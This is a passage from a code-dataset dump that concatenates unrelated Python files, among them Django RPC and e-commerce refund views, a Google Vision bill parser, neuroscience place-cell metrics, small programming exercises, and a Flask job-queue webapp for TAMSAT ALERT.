'wms_slug': userLayer.wms_slug,\n 'wms_srs': userLayer.wms_srs,\n 'wms_params': userLayer.wms_params,\n 'wms_version': userLayer.wms_version,\n 'wms_format': userLayer.wms_format,\n 'wms_styles': userLayer.wms_styles,\n }]\n return content\n\n@rpcmethod(login_required=True)\ndef remove_user_layer(key, **kwargs):\n from visualize.models import UserLayer\n request = kwargs['request']\n # uid = appname_modelname_pk\n key = int(key.split('_')[-1])\n userLayer = get_object_or_404(UserLayer, id=key, user=request.user)\n userLayer.delete()\n\n@rpcmethod(login_required=True)\ndef share_user_layer(user_layer_uid, group_names, **kwargs):\n from django.contrib.auth.models import Group\n from features.registry import get_feature_by_uid\n request = kwargs['request']\n # group_names = request.POST.getlist('groups[]')\n userLayer = get_feature_by_uid(user_layer_uid)\n\n viewable, response = userLayer.is_viewable(request.user)\n if not viewable:\n return response\n\n #remove previously shared with groups, before sharing with new list\n userLayer.share_with(None)\n\n groups = []\n for group_name in group_names:\n g = Group.objects.get(mapgroup__name=group_name)\n groups.append(g)\n\n userLayer.share_with(groups, append=False)\n","sub_path":"visualize/rpc.py","file_name":"rpc.py","file_ext":"py","file_size_in_byte":12344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"293955093","text":"from OWDTestToolkit.global_imports import *\n\t\nclass main(GaiaTestCase):\n\n def LinkContact(self, p_contactEmail):\n #\n # After clicking the link contact button, use this to click on a contact.\n #\n \n # (For some reason this only works if I get all matching elements regardless of visibility,\n # THEN check for visibility. There must be a matching element that never becomes visible.)\n x = self.UTILS.getElements(DOM.Facebook.link_friends_list, \"Facebook 'link friends' list\", False, 20)\n \n email = False\n \n for i in x:\n if i.is_displayed():\n #\n # Keep the name and email details for this contact.\n #\n thisContact = i.find_elements(\"tag name\", \"p\")[1]\n if thisContact.text == p_contactEmail:\n email = p_contactEmail\n thisContact.tap()\n break\n\n self.UTILS.TEST(email, \"Desired link contact's email address is displayed.\")\n \n if email:\n self.UTILS.logComment(\"Linked FB contact email: \" + email + \".\")\n \n #\n # Switch back and wait for contact details page to re-appear.\n #\n time.sleep(2)\n self.UTILS.switchToFrame(*DOM.Contacts.frame_locator)\n\n","sub_path":"OWDTestToolkit/apps/Facebook/LinkContact.py","file_name":"LinkContact.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"198456366","text":"userNum = int(input(\"Please enter a positive number:\"))\nnum = 0\nodds = 0\n\nif(userNum%2 == 0):\n for num in range(2, userNum+1, 2):\n print(num)\nelif(userNum%2 == 1):\n for num in range(1, userNum+1, 2):\n print(num)\n odds += num\n print(\"These odd integers add up to\", odds)\n","sub_path":"Week6/For9.py","file_name":"For9.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"107332195","text":"import gym\nimport numpy as np\nimport torch\nfrom utils import get_greedy_action\nimport math\nimport matplotlib.pyplot as plt\nfrom robot_model import WallBot\nfrom environment import Environment\nfrom animation import AxData, Animator\n\n\ndef main(animate):\n Q = torch.load('trained_Q.pth')\n Q.eval()\n\n m = 2\n\n dt = .01\n goal_x = .4\n goal_theta = math.pi / 4\n\n robot = WallBot(2.25, .2, 1., dt)\n\n env = Environment(robot, goal_x, goal_theta)\n\n bot_states = [env.robot.observe()]\n gripper_coords = [env.robot.get_gripper_coordinates()]\n\n done = False\n state = torch.tensor(env.reset() * m)\n while not done:\n action = get_greedy_action(\n Q, state.unsqueeze(0))\n new_state, reward, done = env.step(action.item())\n state = torch.tensor(state[1:].tolist() + new_state)\n\n bot_states.append(env.robot.observe())\n gripper_coords.append(env.robot.get_gripper_coordinates())\n\n bot_x = list(map(lambda x: x[0], bot_states))\n bot_y = list(map(lambda x: x[1], bot_states))\n bot_theta = list(map(lambda x: x[2] * 180 / math.pi, bot_states))\n\n gripper_x = list(map(lambda x: list(zip(*x))[0], gripper_coords))\n gripper_y = list(map(lambda x: list(zip(*x))[1], gripper_coords))\n\n fig, ax = plt.subplots()\n # ax.set_aspect('equal')\n\n if animate:\n ax_data = [\n AxData(gripper_x, gripper_y, 'position', plot_history=False),\n ]\n\n animator = Animator(1/2, ax_data, dt, fig, ax)\n animator.run()\n\n else:\n ax.plot(bot_x, bot_y, label='position')\n # ax.plot(bot_theta, label='theta')\n\n ax.set_title('Position')\n ax.set_xlabel('x (m)')\n ax.set_ylabel('y (m)')\n ax.set_aspect('equal')\n\n plt.show()\n plt.close()\n\n\nif __name__ == \"__main__\":\n plt.rcParams['figure.figsize'] = [16, 10]\n plt.rcParams['savefig.facecolor'] = 'black'\n plt.rcParams['figure.facecolor'] = 'black'\n plt.rcParams['figure.edgecolor'] = 'white'\n plt.rcParams['axes.facecolor'] = 'black'\n plt.rcParams['axes.edgecolor'] = 'white'\n plt.rcParams['axes.labelcolor'] = 'white'\n plt.rcParams['axes.titlecolor'] = 'white'\n plt.rcParams['xtick.color'] = 'white'\n plt.rcParams['ytick.color'] = 'white'\n plt.rcParams['text.color'] = 'white'\n plt.rcParams[\"figure.autolayout\"] = True\n # plt.rcParams['legend.facecolor'] = 'white'\n\n animate = True\n\n main(animate)\n","sub_path":"play_trained_Q.py","file_name":"play_trained_Q.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"263215074","text":"\nimport os, io\nfrom google.cloud import vision\nimport pandas as pd\nimport numpy as np\nfrom sqlalchemy.orm import load_only\n\n\nroot_path = os.path.dirname(os.path.abspath(__file__))\n\nos.environ['GOOGLE_APPLICATION_CREDENTIALS'] = root_path+\"/MyFirstProject-aa47e5bcc8a2.json\" #API\n\n\nclient = vision.ImageAnnotatorClient()\n\n\ndef detectText(img): #google recognition function\n\twith io.open(img, 'rb') as image_file:\n\t\tcontent = image_file.read()\n\n\timage = vision.Image(content=content)\n\tresponse = client.text_detection(image=image)\n\ttexts = response.text_annotations\n\n\tdf = pd.DataFrame(columns=['locale', 'description'])\n\tfor text in texts:\n\t\tdf = df.append(\n\t\t\tdict(\n\t\t\t\tlocale=text.locale,\n\t\t\t\tdescription=text.description\n\t\t\t),\n\t\t\tignore_index=True\n\t\t)\n\treturn df\n\ncompanies = ['atco', 'epcor']\n\ndef detect_company(x):\n\ty = 'error'\n\tfor index, row in x.iterrows():\n\t\tif row[1].lower() in companies:\n\t\t\ty = row[1].lower()\n\t\t\tbreak\n\treturn y\n\n\n\n\ndef detect_atco(x):\n\tindex_found = 0\n\tfound_kwh = []\n\tfound = ''\n\taddress_found = ''\n\telectricty_charged = 0\n\tcity = ''\n\n\t#cutting out natural gas just in case it is in bill\n\tfor index_cut, row_cut in x.iterrows():\n\t\tif row_cut[1].lower() == 'natural' and x.at[index_cut+1,'description'].lower() == 'gas' and x.at[index_cut+2,'description'].lower() == 'site':\n\t\t\tx = x[0:index_cut]\n\t\t\ty = x\n\t\t\tbreak\n\n\n\t# finding address on atco bill\n\tfor index, row in x.iterrows():\n\t\tif (row[1].lower() == 'ab'):\n\t\t\taddress_found = x.at[index-4,'description'] +' '+ x.at[index-3,'description']+ ' ' + x.at[index-2,'description']\n\t\t\tcity = x.at[index-1,'description'].lower()\n\n\t#finding the KWH used and appending to list\n\tfor index, row in x.iterrows():\n\t\tif row[1].lower() == 'kwh':\n\t\t\tindex_found = index\n\t\t\ty = x[index_found-1:index_found+1]\n\t\t\tfor index_match, row_match in y.iterrows():\n\t\t\t\tfound = row_match[1]\n\t\t\t\ttry:\n\t\t\t\t\tfloat(found)\n\t\t\t\t\tprint('found_value' + found)\n\t\t\t\t\tfound_kwh.append(found)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\t\t\ttry:\n\t\t\t\t\tfound = found.replace(\"(\",\"\")\n\t\t\t\t\tfloat(found)\n\t\t\t\t\tprint('found_value' + found)\n\t\t\t\t\tfound_kwh.append(found)\n\t\t\t\texcept:\n\t\t\t\t\tcontinue\n\n\n\t#finding the price paid for atco and appending it to list\n\tfor index, row in x.iterrows():\n\t\tif row[1].lower() == 'current' and x.at[index+1,'description'].lower() == 'billing':\n\t\t\ty = x[index_found-2:index_found+2]\n\t\t\tfor index_match, row_match in y.iterrows():\n\t\t\t\tfound = row_match[1]\n\t\t\t\ttry:\n\t\t\t\t\tfloat(found)\n\t\t\t\t\tprint('found_value_current_billing' + found)\n\t\t\t\texcept:\n\t\t\t\t\tcontinue\n\treturn found_kwh, address_found, electricty_charged, city\n\n\n\n\n\ndef detect_epcor(x):\n\ty = x\n\tfound_kwh = []\n\tfound = ''\n\telectricty_charged = 0\n\tcity = ''\n\t# finding possible values for KWH epcor\n\tfor index, row in x.iterrows():\n\t\tif row[1].lower() == 'kwh' and x.at[index-2,'description'] == 'used:':\n\t\t\tindex_found = index\n\t\t\ty = x[index_found-2:index_found+2]\n\t\t\tfor index_match, row_match in y.iterrows():\n\t\t\t\tfound = row_match[1]\n\t\t\t\ttry:\n\t\t\t\t\tfloat(found)\n\t\t\t\t\tprint('found_value' + found)\n\t\t\t\t\tfound_kwh.append(found)\n\t\t\t\texcept:\n\t\t\t\t\tcontinue\n\n\t#find address using keywords\n\tfor index, row in x.iterrows():\n\t\tif row[1].lower() == 'for' and x.at[index+1,'description'].lower() == 'service' and x.at[index+2,'description'] == 'at':\n\t\t\taddress_found = x.at[index+3,'description'] +' '+ x.at[index+4,'description']+ ' ' + x.at[index+5,'description']\n\t\t\tprint('address_found')\n\n\n\t#electricity charged for epcor\n\tfor index, row in x.iterrows():\n\t\tif row[1].lower() == 'electric' and x.at[index+1,'description'].lower() == 'energy':\n\t\t\telectricty_charged = x.at[index+2,'description']\n\t\t\tprint('elec_charge_found')\n\tfor index, row in x.iterrows():\n\t\tif row[1].lower() == 'ab':\n\t\t\tcity = x.at[index-2,'description'] +' '+ x.at[index-1,'description']\n\n\n\treturn found_kwh, address_found, electricty_charged, city\n\ndef detect_electrical_bill(company, x):\n\ty = None\n\tif company == 'epcor':\n\t\ty = detect_epcor(x)\n\tif company == 'atco':\n\t\ty = detect_atco(x)\n\n\treturn y\n","sub_path":"benchmarking_tool/image_reckognition/bill_detection.py","file_name":"bill_detection.py","file_ext":"py","file_size_in_byte":3968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"506049809","text":"# 给定一个字符串,你的任务是计算这个字符串中有多少个回文子串。\n#\n# 具有不同开始位置或结束位置的子串,即使是由相同的字符组成,也会被计为是不同的子串。\n#\n# # 分析:动态规划,在最长回文的基础上改变,每次遇到回文直接记录个数即可\n# class Solution:\n# def countSubstrings(self, s: str) -> int:\n# sum = 0\n# for i in range(0, len(s)):\n# for j in range(i, len(s)):\n# if s[i:j] == s[j:i:-1]:\n# sum += 1\n# return sum\n\n# 改进:反转字符串需要的复杂度是T(n),通过函数对其进行改进\nclass Solution:\n def countSubstrings(self, s: str) -> int:\n count = 0\n for i in range(len(s)):\n for j in range(i, i + 2):\n count += self.helper(s, i, j)\n return count\n def helper(self, s, i, j):\n count = 0\n while i >= 0 and j < len(s) and s[i] == s[j]:\n i -= 1\n j += 1\n count += 1\n return count\n\n\n\nif __name__ == '__main__':\n test = 'abc'\n a = Solution()\n print(a.countSubstrings(test))","sub_path":"python/Day2/countsubstring.py","file_name":"countsubstring.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"248366254","text":"import numpy as np\nimport sys\n\n\ndef overall_mean(big_matrix, N):\n\n overallMean = 0\n for npyr in range(N):\n overallMean += np.mean(big_matrix[npyr, :, :])\n return overallMean\n\n\ndef spatial_info(rate_matrix, time_bin):\n\n # Time per bin\n tall = np.sum(time_bin)\n\n # Occupancy\n pall = time_bin/tall\n # Mean firing rate\n l_ = np.matmul(pall.T, rate_matrix).item()\n if l_ == 0:\n l_ = 1e-15\n\n ratio = rate_matrix/l_\n ratio[ratio == 0] = 1e-15\n\n spatial_info = np.sum(np.multiply(\n pall, np.multiply(rate_matrix, np.log2(ratio))))\n\n return spatial_info\n\n\ndef selectivity_index(rate_matrix):\n A = np.mean(rate_matrix)\n B = np.max(rate_matrix)\n if A == 0:\n A = 1e-15\n\n selectivity = float(B)/A\n\n return selectivity\n\n\ndef sparsity_index2(rate_matrix):\n # Size of field\n n1 = rate_matrix.shape[0]\n n2 = rate_matrix.shape[1]\n # Initialization\n sparsity_num = 0\n sparsity_den = 0\n\n for i in range(n1):\n for j in range(n2):\n\n # rate of each bin\n lx = rate_matrix[i, j]\n # numerator\n sparsity_num += lx\n # denominator\n sparsity_den += lx**2\n\n if sparsity_den == 0:\n sparsity_den = 1e-15\n L = n1\n\n sparsity = 1 - (1.0/L)*(sparsity_num**2 /\n float(sparsity_den))*(float(L)/(L-1))\n\n return sparsity\n\n\ndef peak_frequency(rate_matrix):\n return np.max(rate_matrix)\n\n\ndef field_size(rate_matrix, relfreq=1.0, track_length=200):\n if rate_matrix.shape[0] == 1 or rate_matrix.shape[1] == 1:\n peak = np.argmax(rate_matrix)\n\n # left from peak + peak\n counter1 = 0\n while rate_matrix[peak-counter1] >= relfreq:\n counter1 += 1\n if peak-counter1 < 0:\n counter1 -= 1\n break\n # right from peak\n counter2 = 0\n while rate_matrix[peak+counter2] >= relfreq:\n counter2 += 1\n if peak+counter2 >= rate_matrix.shape[0]:\n counter2 -= 1\n break\n\n size = counter1+counter2\n size -= 1\n\n else:\n pass\n\n if peak != 0 or peak != track_length:\n mean_in_place = np.mean(rate_matrix[peak-(counter1-1):peak+counter2+1])\n elif peak == 0:\n mean_in_place = np.mean(rate_matrix[peak:peak+counter2+1])\n elif peak == track_length:\n mean_in_place = np.mean(rate_matrix[peak-(counter1-1):])\n\n if peak - counter1 == 0:\n mean_out_place1 = 0\n else:\n mean_out_place1 = np.mean(rate_matrix[:peak-(counter1-1)])\n if peak + counter2+1 == track_length:\n mean_out_place2 = 0\n else:\n mean_out_place2 = np.mean(rate_matrix[peak+counter2+1:])\n\n mean_out_place = np.mean([mean_out_place1, mean_out_place2])\n return size, mean_in_place, mean_out_place\n\n\ndef upper_tri_indexing(A):\n '''\n A: input matrix\n returns its upper triangular elements\n excluding the diagonal.\n A should be square matrix\n return only upper tiangular elements, without diagonal\n '''\n\n if len(A.shape) != 2:\n sys.exit(\"Input is not two-dimensional.\")\n\n if (A.shape[0] != A.shape[1]):\n sys.exit(\"Matrix is not square.\")\n\n m = A.shape[0]\n r, c = np.triu_indices(m, 1)\n return A[r, c]\n\n\ndef stability_index(x, y=None):\n if y is None:\n A = upper_tri_indexing(np.corrcoef(x.squeeze(), rowvar=1))\n else:\n A = upper_tri_indexing(np.corrcoef(x, y, rowvar=0))[0]\n\n return np.tanh(A)\n","sub_path":"AnalysisRawData/place_cell_metrics.py","file_name":"place_cell_metrics.py","file_ext":"py","file_size_in_byte":3526,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"335794844","text":"from django.http import Http404, HttpResponse, HttpResponseRedirect, JsonResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom oscar.core.loading import get_class, get_model\nfrom django.conf import settings\n\n\nclient = settings.CLIENT\nmerchant = settings.MERCHANT\nOrder = get_model('order', 'Order')\nLine = get_model('order', 'Line')\n\n\n@csrf_exempt\ndef actual_order_refund(request):\n\tif request.user.is_authenticated:\n\t\torder_num = request.POST.get('order', None)\n\t\taction = request.POST.get('action', None)\n\t\tprint(order_num, type(order_num))\n\t\tif order_num:\n\t\t\torder = Order.objects.get(number=order_num)\n\t\t\tif action == 'refund':\n\t\t\t\torder_status = client.check_order_status(plan_id=order.plan_id)\n\t\t\t\tprint(order_status)\n\t\t\t\tprint('refund amount:', request.POST.get('amount', None))\n\t\t\t\trefund_amount = request.POST.get('amount', '0.00')\n\t\t\t\tnew_purchase_price = float(order_status['PurchasePrice'])-float(refund_amount)\n\t\t\t\t#new_purchase_price = float(order_status['PurchasePrice'])-float(line.line_price_incl_tax)\n\t\t\t\tprint('new_purchase_price', new_purchase_price, type(new_purchase_price))\n\t\t\t\tfull_refund = True if new_purchase_price == 0.00 else False\n\t\t\t\trefund = client.refund_status(plan_id=order.plan_id,\n\t\t\t\t\t\t\t\t\t new_purchase_price=new_purchase_price, full_refund=full_refund)\n\t\t\t\tprint(refund)\n\t\t\t\torder_status = client.check_order_status(plan_id=order.plan_id)\n\t\t\t\tprint(order_status)\n\t\t\t\tif refund['status'] == '0':\n\t\t\t\t\tif full_refund:\n\t\t\t\t\t\torder.is_refund_all = '1'\n\t\t\t\t\t\torder.refund_amount = order.total_incl_tax\n\t\t\t\t\telse:\n\t\t\t\t\t\torder.refund_amount = float(order.total_incl_tax) - float(order_status['PurchasePrice'])\n\t\t\t\t\torder.save()\n\t\t\t\t\treturn JsonResponse({'status': 200, 'message': 'The order has been refunded Successfully',\n\t\t\t\t\t\t\t\t\t\t 'action': 'partial_accept'})\n\t\t\t\telse:\n\t\t\t\t\treturn JsonResponse({\n\t\t\t\t\t\t'status': 400, 'message': refund['reason'], 'action': 'refund'})\n\t\telse:\n\t\t\treturn JsonResponse({'status': 400, 'message': 'Order not found'})\n\telse:\n\t\treturn JsonResponse({'status': 401, 'message': 'User is not authenticated.'})\n\n\n@csrf_exempt\ndef actual_order_dispatch(request):\n\tif request.user.is_authenticated:\n\t\torder_num = request.POST.get('order', None)\n\t\taction = request.POST.get('action', None)\n\t\tprint(order_num, type(order_num))\n\t\tif order_num:\n\t\t\torder = Order.objects.get(number=order_num)\n\t\t\tif action == 'dispatch':\n\t\t\t\tdispatch = client.order_dispatch_plan(plan_id=order.plan_id)\n\t\t\t\tprint(dispatch)\n\t\t\t\tif dispatch['status'] == '0':\n\t\t\t\t\torder.is_dispatched = '1'\n\t\t\t\t\torder.save()\n\t\t\t\t\treturn JsonResponse({'status': 200, 'message': 'The order has been dispatched successfully',\n\t\t\t\t\t\t\t\t\t\t 'action': 'partial_cancel'})\n\t\t\t\telse:\n\t\t\t\t\treturn JsonResponse({'status': 400, 'message': dispatch['reason'],\n\t\t\t\t\t\t\t\t\t\t 'action': 'dispatch'})\n\t\t\telse:\n\t\t\t\treturn JsonResponse({'status': 400, 'message': 'The order cannot be dispatched',\n\t\t\t\t\t\t\t\t\t 'action': 'dispatch'})\n\n\t\telse:\n\t\t\treturn JsonResponse({'status': 400, 'message': 'Order not found'})\n\telse:\n\t\treturn JsonResponse({'status': 401, 'message': 'User is not authenticated.'})\n\n\n@csrf_exempt\ndef fraud_alert(request):\n\tif request.user.is_authenticated:\n\t\torder_num = request.POST.get('order', None)\n\t\tmessage = request.POST.get('message', None)\n\t\tprint(order_num, type(order_num))\n\t\tif order_num:\n\t\t\ttry:\n\t\t\t\torder = Order.objects.get(number=order_num)\n\t\t\texcept Order.DoesNotExist:\n\t\t\t\treturn JsonResponse({'status': 400, 'message': 'Order not found'})\n\t\t\telse:\n\t\t\t\tprint(order.plan_id)\n\t\t\t\tfraudalert = merchant.online_order_fraud_alert(plan_id=order.plan_id, details=message)\n\t\t\t\tprint(fraudalert)\n\t\t\t\tif fraudalert['status'] == '0':\n\t\t\t\t\torder.is_alert_send = '1'\n\t\t\t\t\torder.save()\n\t\t\t\t\treturn JsonResponse({'status': 200, 'message': 'Alert has been sent successfully.'})\n\t\t\t\telse:\n\t\t\t\t\treturn JsonResponse({'status': 400, 'message': fraudalert['reason']})\n\t\telse:\n\t\t\treturn JsonResponse({'status': 400, 'message': 'Order not found'})\n\telse:\n\t\treturn JsonResponse({'status': 401, 'message': 'User is not authenticated.'})\n\n","sub_path":"experimental/Oscar/oscar_proj/dashboard/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"239103134","text":"# -*- coding: utf-8 -*-\n\"\"\"\nСоздать программно файл в текстовом формате, записать в него построчно данные, вводимые пользователем.\nОб окончании ввода данных свидетельствует пустая строка.\n\"\"\"\n\n\ndef collaborate(file_path):\n with open(file_path, 'w') as f:\n while True:\n i = input(\"Please enter some string or type Enter to exit: \")\n if not i:\n break\n print(i, file=f)\n\n\nif __name__ == '__main__':\n collaborate('task1_tmp.txt')\n","sub_path":"hw5/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"290236133","text":"import numpy as np\nimport torch\nimport torch.utils.data.dataset as dataset\nimport pandas as pd\nimport re\n\nclass TempSet(dataset.Dataset):\n def __init__(self, path, mode):\n super(TempSet, self).__init__()\n pd_all = pd.read_csv(path)[['Date Time','T (degC)']]\n pd_all.dropna()\n for k, datetime in enumerate(pd_all['Date Time']):\n if re.search('2015', datetime):\n break\n self.mode = mode\n if mode == 'train':\n self.pd_all = pd_all.loc[:k-1]\n self.window_size = 6*24*5\n elif mode == 'verify':\n self.pd_all = pd_all.loc[k:]\n self.window_size = 6*24*5\n elif mode == 'test':\n self.pd_all = pd_all.loc[k:]\n self.window_size = 6*24*7\n self.pd_all = self.pd_all.reset_index()\n\n\n\n def __getitem__(self, item):\n if self.mode == 'test':\n base = item * self.window_size\n res = torch.tensor(self.pd_all['T (degC)'].loc[base:base+6*24*5-1].tolist())\n tem = torch.tensor(self.pd_all['T (degC)'].loc[base+6*24*5:base+self.window_size-1].tolist())\n else:\n base = item\n res = torch.tensor(self.pd_all['T (degC)'].loc[base:base+self.window_size-1].tolist())\n tem = torch.tensor(self.pd_all['T (degC)'].loc[base+self.window_size]).float()\n return res, tem\n\n\n def __len__(self):\n if self.mode == 'test':\n return self.pd_all.shape[0] // self.window_size\n else:\n return self.pd_all.shape[0] - self.window_size\n\nif __name__ == '__main__':\n tSet = TempSet('./data/jena_climate_2009_2016.csv', 'test')\n x, y = tSet[0]\n print(x.size())\n print(y.size())","sub_path":"lab4/temp_load.py","file_name":"temp_load.py","file_ext":"py","file_size_in_byte":1722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"529961923","text":"#!/usr/bin/env python3\n'''\nThe main Flask webapp for the TAMSAT ALERT job queuing system\n'''\n\nimport os, os.path\nfrom flask import Flask, send_file, abort, request, jsonify\nfrom threading import Lock, Thread\nfrom math import isclose\nfrom pandas import Timestamp\nimport pickle\nimport tasks\nimport util\nfrom config import config\nimport database as db\nimport exceptions as ex\nfrom datetime import timedelta, datetime as dt\nimport hashlib\n\n\n# Define the Flask app at top module level.\n# This is the recommended method for small webapps\napp = Flask(__name__)\n\n# Setup the working directory and create if necessary\nworkdir = config['Tasks']['workdir']\nif(os.path.exists(workdir)):\n if(not os.path.isdir(workdir)):\n raise ValueError('The configured working directory (' +\n workdir + ') exists, but it is not a directory')\nelse:\n os.makedirs(workdir)\n\n@app.route(\"/api/jobs\", methods=[\"GET\"])\ndef get_job_list():\n '''\n Gets a list of jobs by the specified user/job ref combination.\n\n Requires the parameters 'email', and 'ref'\n '''\n params = request.args\n # Here, we get the job ref and email from the params\n try:\n email = params['email']\n job_ref = params['ref']\n except KeyError as e:\n # Either the email or ref parameter is missing\n raise ex.InvalidUsage('You must provide a value for '+e.args[0])\n\n jobs = db.get_jobs(_get_hash(email, job_ref))\n\n return jsonify({\n 'jobs': jobs,\n 'days_after_completed': config['Tasks']['days_to_keep_completed'],\n 'hours_after_downloaded': config['Tasks']['hours_to_keep_downloaded']\n })\n\n\n@app.route(\"/api/downloadResult\", methods=[\"GET\"])\ndef download():\n '''\n Downloads a zip file containing the output from a job\n\n Requires the parameter 'job_id'\n '''\n params = request.args\n\n try:\n job_id = params['job_id']\n except KeyError as e:\n raise ex.InvalidUsage('You must provide a value for '+e.args[0])\n\n zipfile = util.get_zipfile_from_job_id(job_id)\n\n if not os.path.exists(zipfile) or not os.path.isfile(zipfile):\n raise ex.InvalidUsage('The job with ID '+job_id+' does not exist on this server. Completed jobs get removed '+config['Tasks']['days_to_keep_completed']+' days after completion.')\n\n db.set_downloaded(job_id)\n\n return send_file(zipfile, as_attachment=True, attachment_filename='tamsat_alert.zip')\n\n\n@app.route(\"/api/tamsatAlertTask\", methods=[\"POST\"])\ndef submit():\n '''\n Parses POST parameters from the HTML form and submits a job to the celery queue.\n Requires the POST parameters:\n\n locationType - Either 'point' or 'region'\n lon, lat - The coordinates at which to run the code OR\n minLat, maxLat, minLon, maxLon - The bounding box over which to run the code\n initDate - Forecast date in the form YYYY-MM-DD\n poiStart - Period of interest start date in the form YYYY-MM-DD\n poiEnd - Period of interest end date in the form YYYY-MM-DD\n forecastStart - Met forecast period start date in the form YYYY-MM-DD\n forecastEnd - Met forecast period end date in the form YYYY-MM-DD\n metric - The metric to run. 'cumrain', 'soilMoisture', or 'wrsi'\n tercileLow - The weighting for tercile 1 (all terciles must add upto 1)\n tercileMid - The weighting for tercile 2\n tercileHigh - The weighting for tercile 3\n stat - The probability distribution to use. 'normal', or 'ecdf'\n email - The user's email address\n ref - A job reference for retrieving the job (alongside email)\n '''\n\n # Get the POST parameters\n params = request.form\n\n # Now parse parameters to their correct types and do basic sanity checks\n try:\n locType = params['locationType']\n if(locType.lower() == 'point'):\n location = (float(params['lon']), float(params['lat']))\n elif(locType.lower() == 'region'):\n location = (float(params['minLon']),\n float(params['maxLon']),\n float(params['minLat']),\n float(params['maxLat']))\n else:\n raise ex.InvalidUsage('Parameter \"locationType\" must be either \"point\" or \"region\"')\n\n init_date = Timestamp(params['initDate'])\n poi_start_day = int(params['poiStartDay'])\n poi_start_month = int(params['poiStartMonth'])\n poi_end_day = int(params['poiEndDay'])\n poi_end_month = int(params['poiEndMonth'])\n\n fc_var = params['fcVar']\n fc_location = (float(params['fcLonMin']),\n float(params['fcLonMax']),\n float(params['fcLatMin']),\n float(params['fcLatMax']))\n\n fc_start_day = int(params['fcStartDay'])\n fc_start_month = int(params['fcStartMonth'])\n fc_end_day = int(params['fcEndDay'])\n fc_end_month = int(params['fcEndMonth'])\n\n metric = params['metric']\n if(metric.lower() != 'cumrain' and\n metric.lower() != 'wrsi' and\n metric.lower() != 'soilmoisture'):\n raise ex.InvalidUsage('Parameter \"metric\" must be one of \"cumRain\", \"wrsi\", and \"soilMoisture\"')\n\n # Get parameters specified to soil moisture\n soil_type = None\n lead_time = None\n if(metric.lower() == 'soilmoisture'):\n soil_type = params['soilType']\n lead_time = int(params['leadTimeDays'])\n\n tl = float(params['tercileLow'])\n tm = float(params['tercileMid'])\n th = float(params['tercileHigh'])\n # Use the isclose method here with a low tolerence\n # This is so that e.g. (0.333,0.333,0.333) still works\n if(not isclose(tl+tm+th, 1.0, abs_tol=0.015) ):\n raise ex.InvalidUsage('Tercile parameters must add up to 1')\n tercile_weights = (tl, tm, th)\n\n stat_type = params['stat']\n\n email = params['email']\n job_ref = params['ref']\n\n except KeyError as e:\n raise ex.InvalidUsage('You must provide a value for '+e.args[0])\n\n description = 'Cumulative rainfall at ' + util.location_to_str(*location)\n db_key = db.add_job(_get_hash(email, job_ref), description)\n\n # Submit to the celery queue\n task = tasks.tamsat_alert_run.delay(location,\n fc_location,\n fc_var,\n init_date,\n poi_start_day,\n poi_start_month,\n poi_end_day,\n poi_end_month,\n fc_start_day,\n fc_start_month,\n fc_end_day,\n fc_end_month,\n stat_type,\n tercile_weights,\n email,\n db_key,\n metric.lower(),\n soil_type)\n\n return jsonify({\n 'job_id': task.id\n })\n\n\n@app.route(\"/\")\ndef main():\n index_path = os.path.join(app.static_folder, 'index.html')\n return send_file(index_path)\n\n\n# Everything not declared before (not a Flask route / API endpoint)...\n@app.route('/')\ndef route_frontend(path):\n # ...could be a static file needed by the front end that\n # doesn't use the `static` path (like in `